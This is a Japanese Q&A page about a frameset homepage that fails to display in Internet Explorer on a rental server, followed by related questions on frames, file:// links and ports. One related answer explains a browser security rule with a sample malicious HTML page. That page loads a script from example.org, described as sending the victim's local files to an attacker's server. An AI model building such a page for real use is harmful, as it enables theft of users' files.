プロが教えるわが家の防犯対策術!

以前ホームページを作成したのですが、他者様のご指摘により、IEでは正しく表示できていない事が発覚しました。フレームを使用しており、これを取り除けばうまくいくのですが、ローカル環境では、フレーム有りでも正しく表示されます。
大変困っております。ご存じの方居りましたら、どうかご教授お願いします。


以下ソース

<html><head><title>ホームページ名</title></head>

<frameset rows="210,*" frameborder="no">
<frame src="http://(以下略" name="menu" noresize>
<frame src="http://(以下略" name="main" noresize>
</frameset>
</html>

このQ&Aに関連する最新のQ&A

A 回答 (3件)

>ローカル環境では、フレーム有りでも正しく表示されます。


レンタルサーバーですか?
リンク先のソース見たら広告が<html>タグの前後に入っているのでおかしなことになってます。
あと、<body>タグもありません。

このサーバーでフレームを使う場合はiframeを使った方がいいかも。

この回答への補足

回答有難うございます。

ご察しの通り、レンタルサーバを使用してます。
無理な場合は仕方ないですが、出来れば、iframeではなく、通常のフレームを使用したいと考えております。

>>body
フレームを使用する場合は<body>を入れると不具合を起こす様なので、敢えて入れておりません。


面倒くさい質問で申し分けありません。回答よろしくお願いします。

補足日時:2010/01/15 17:34
    • good
    • 1
この回答へのお礼

ありがとうございました!

お礼日時:2011/07/18 22:45

#2さんと重複しますが、お許しを…



<html>外のインラインフレーム(たった3ステップ!動画サイトから~の部分)が邪魔してるようです。
この部分を消し去るとフレームは表示されますが、これは自動挿入されるのもだと思うので、
利用者側でどうすることも出来ませんね。

私も#2さんの意見に賛成です。
    • good
    • 0
この回答へのお礼

回答有難うございます。

やはり無理なのですか。分かりました。別の切り口からサイトを立て直してみます。回答者全員に良回答を与えたいのですが、仕様上二人しか決められないので、ダイスを振って決定しようと思います。どうも有難う御座いました。

お礼日時:2010/01/15 17:49

>IEでは正しく表示できていない事が発覚しました。


この「正しく表示できていない」の具体的内容を補足いただきたいです。どのように正しくないのでしょうか?。
>ローカル環境では、フレーム有りでも正しく表示されます。
このことから考えて、不具合はネット上での問題かも知れません。「frame src」はご自身のサーバ上ではないのですか?。(httpでしか指定できないのですか)。
ソースとして、ちょっと不自然というか見かけない書き方なのは「Frame noresize」が両方のフレームに書いてあることです。片方でよいと思います。
現状の情報からでは、こんな回答です。

この回答への補足

回答有難うございます。補足いたします。
frame srcで引用すべき二つのhtmlどころか、フレームすらも表示されず、広告のみの真っ白なページが表示されます。ご指摘いただいたとおり、リンクを相対パスに、noresizeを片方のみに記述したのですが、解決されませんでした。


念のため、問題のホームページURLを載せときます。どうか宜しくお願いします。
    http://djtakuan.sp.land.to/       (正門)
    http://djtakuan.sp.land.to/rinji.html  (IE用の臨時index)

補足日時:2010/01/15 16:14
    • good
    • 0
この回答へのお礼

ありがとうございました!

お礼日時:2011/07/18 22:45

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Qframeの内容が表示されない

次の(1)~(3)の3つのファイルを作りました。

(1)
ファイル名:index.html
内容:
<html>
<head>
<title>雲の研究
</title>
</head>
<frameset rows="20%,80%">
<frame src="top.html">
<frame src="sub-index.html">
</frameset>
</html>

(2)
ファイル名:top.html
内容:
<html>
<head>
<title>タイトル
</title>
</head>
<body>

</body>
</html>

(3)
ファイル名:sub-index.html
内容:
<html>
<head>
<title>目次
</title>
</head>
<body>
いわし<br>
うろこ<br>
</body>
</html>

この3つのファイルを同一のフォルダに置いてindex.htmlをInternet Explorer 6.0で開くと


いわし
うろこ

と表示されるのではないかと思っていたのですが、何も表示されません。
なぜでしょうか。

次の(1)~(3)の3つのファイルを作りました。

(1)
ファイル名:index.html
内容:
<html>
<head>
<title>雲の研究
</title>
</head>
<frameset rows="20%,80%">
<frame src="top.html">
<frame src="sub-index.html">
</frameset>
</html>

(2)
ファイル名:top.html
内容:
<html>
<head>
<title>タイトル
</title>
</head>
<body>

</body>
</html>

(3)
ファイル名:sub-index.html
内容:
<html>
<head>
<title>目次
</title>
</head>
<body>
いわし<br>
うろこ...続きを読む

Aベストアンサー

わたしも見ましたが、特に問題は見当たりません。
上下フレームの間には、このindex.htmlですと
境界線が表示されます。

ちなみにフレームに組み込まれるhtmlの名前を変えてやると
IEでもfirefoxでもエラーメッセージが出ます。

エラーメッセージは何もでなかったでしょうか。
だとすると、何らかの条件でスタイルシートが使われて
読まれてるけど、文字が見えないとかなっているかも
しれません。フレームのところで右クリックして、ソースを見られませんか。

QHTMLからフォルダを開きたい

いつも大変お世話になります<(_ _)>

Webサーバー上にあるWebページ(HTML)の中に、ローカルPCのフォルダを開くリンクを付けたいのですが、
<a href="file://c:\windows">OPEN</a>
としても、何も反応しません。

いろいろ調べたのですが、上記の方法しか見あたりません。

なお、ブラウザのアドレス欄に file://c:\windows と入力すると、フォルダの内容が表示されます。
※Firefoxだと、ファイルの一覧になりますが・・・

何か環境によって挙動が異なるのでしょうか?
それとも、セキュリティ上の観点から最近じゃ出来なくなっているのでしょうか?

是非ともお助け下さい。宜しくお願い致します。

Aベストアンサー

file:///C:/windows/
/は三つでは・・・
 IEの場合はエクスプローラ(ファイルマネージャ)が開くような・・・
 IEはファイルマネージャーと一体のブラウザなので・・・

★実は、ローカルサーバーが必要です。
 apacheでも何でも良いので、WEBデータの入っているフォルダーを
<VIRTUALHOST 127.0.0.1>
C:\Document and settings\my document\web
 とかに指定して、Windowsのhostsファイルで、適当なサーバー名を指定しておきます。
myLocalhost 127.0.0.1
とか・・・

 そうすると
http://myLoclahost/
 で開けます。

 

Qポートの80と443

こちらのサービス(https://secure.logmein.com/)を利用すると、インターネットを見られるサーバーのポートの80と443が空いていればルータやファイアウォールに特段の設定なく外部からサーバーを操作できるそうですが、逆にサーバーのポートの80や443を空けることには何か危険性があるのでしょうか。

Aベストアンサー

ポート80は一般的なHTTP、ポート443はHTTPSです。
この2つのポートがあいていなければインターネット接続(WEBブラウジング)は出来ません。
ですから、ほとんどのファイアウォールでこのポートは開いています。(インターネット接続を制限している社内LANでは当然閉じていますが)

ちなみに、よく使うポートとしてはFTPで20、21、SMTP(送信メール)で25、受信メールPOP3で110あたりです。セキュリティポリシー上、この辺は制限される事も多いですが、HTTP 80、HTTPS(暗号化用)443は通常閉じません。


危険性?
WEBプロトコルを使ってFTP的なファイル転送(WebDAV)やVPN等も出来るようになっています。当然そこにはある種の危険はつきものですが、WEBブラウジングに伴う危険と大きく変わりません。ウィルス等に感染していればこの2つのポートだけでも相当危険でしょうね。

参考まで。

QHTMLで別PCのフォルダを開く

例えばネットワーク上に”192.168.100.250”というPCがあるとします。

このPCはフォルダウィンドウでフォルダ内を閲覧出来る場合、

別のサーバーのHTMLファイルから、

このフォルダを開く事は出来ますか?

以下のコードを追加して、testをクリックしても何も起こりません。。。

<a href="file:\\192.168.100.250\test">test</a>

どなたかお分かりになる方教えてください。

Aベストアンサー

[ANo.7] の続きね。

Firefox を例にするね。

■ ウェブブラウザのセキュリティ第1段階

1) Firefox でロケーションバーに "file:///c:/" を入力すると、『C:\』のフォルダの一覧が表示される。他のフォルダを入力すれば、同じように、そのフォルダの一覧が表示される。

2) 質問者さんは、悪意のあるウェブページとは知らずに、"http://example.org/akuinoaru.html" をダウンロードして、デスクトップに保存したとする。

その HTML の内容は↓これ。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
  <title>Akuinoaru JavaScript Sample</title>
  <script type="text/javascript" src="http://example.org/akuinoaru.js"></script>
</head>
<body>
  <h1>Akuinoaru JavaScript Sample</h1>
  <div>
    <iframe id="iframe" width="100%" height="600" src="."></iframe>
  </div>
</body>
</html>

3) 質問者さんは、保存した HTML を Firefox で開くとする。

4) すると、デスクトップにあるファイルの一覧が表示される。

5) 『4)』とほぼ同時に "http://example.org/akuinoaru.js" が実行される。

6) akuinoaru.js は、表示されたフォルダの中にあるファイルを、
"http://example.org/akuinoaru.php" へ全て送信するという JavaScript だとする。

ということで、質問者さんの PC の中のファイルが、攻撃者のサーバに送信される。


つまり、『信頼できない HTML ファイルをダウンロードして、ウェブブラウザで開くのはすごく危険』ということ。


■ ウェブブラウザのセキュリティ第2段階

1) ウェブブラウザは、PC にウェブページのキャッシュを持つ。
つまり、自分でダウンロードしなくても、もともと HTML ファイルはダウンロードされているということ。

2) ここで、"http://example.org/akuinoaru.html" は "file:///ウェブページのキャッシュフォルダ/キャッシュファイル" へリンクを張ってあったとする(※)。

通常、このリンクはウェブブラウザによってセキュリティー上無効にされているけれど、これが有効だったとする。

3) 質問者さんは、上のページのリンクをクリックしたとする。

4) 以下、『ウェブブラウザのセキュリティ第1段階』の 『4)』と同じ。

今回は、リンクをクリックする想定をしたけど、実際はクリックしなくても、キャッシュファイルを表示させることができるから、悪意のあるページにアクセスしたら、すぐに、質問者さんの PC の中に保存されているファイルは、攻撃者のサーバに送信されてしまう。

このようなことが起こらないように、http://xxxxxx から file:/// へのリンクは無効にされている。


という説明で大丈夫かな?


※2) 実際には、キャッシュファイルのパスは固定じゃないから、JavaScript でがりがり生成して何回もトライしてキャッシュファイルのパスを見つける必要がある。でも危険なことには違いはない。

[ANo.7] の続きね。

Firefox を例にするね。

■ ウェブブラウザのセキュリティ第1段階

1) Firefox でロケーションバーに "file:///c:/" を入力すると、『C:\』のフォルダの一覧が表示される。他のフォルダを入力すれば、同じように、そのフォルダの一覧が表示される。

2) 質問者さんは、悪意のあるウェブページとは知らずに、"http://example.org/akuinoaru.html" をダウンロードして、デスクトップに保存したとする。

その HTML の内容は↓これ。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional...続きを読む

Qframeset要素を使わずに画面を分割したい

アンテナ(下記サイト)のように左にメニュー画面を、右にコンテンツを表示するホームページを作成したいと考えています。
https://antenna.jp/

ひとつのウインドウで画面を2つにわけるためにはhtmlのframeset要素を使えばできることは把握しているのですが、上記サイトのアンテナではframesetを使わずに画面分割をしています。

見た目やレスポンシブ対応のしやすさも考え、できればframesetを使わずに画面分割を行いたいのですが、どのようにすれば可能でしょうか。
メニュー部分とコンテンツ部分を別々にスクロールできるようにしたいです。

どなたか分かる方教えてください。

Aベストアンサー

長くなるから、参考ページ参照。

参考URL:http://www.geocities.jp/eijispace/2012/0419.html

Q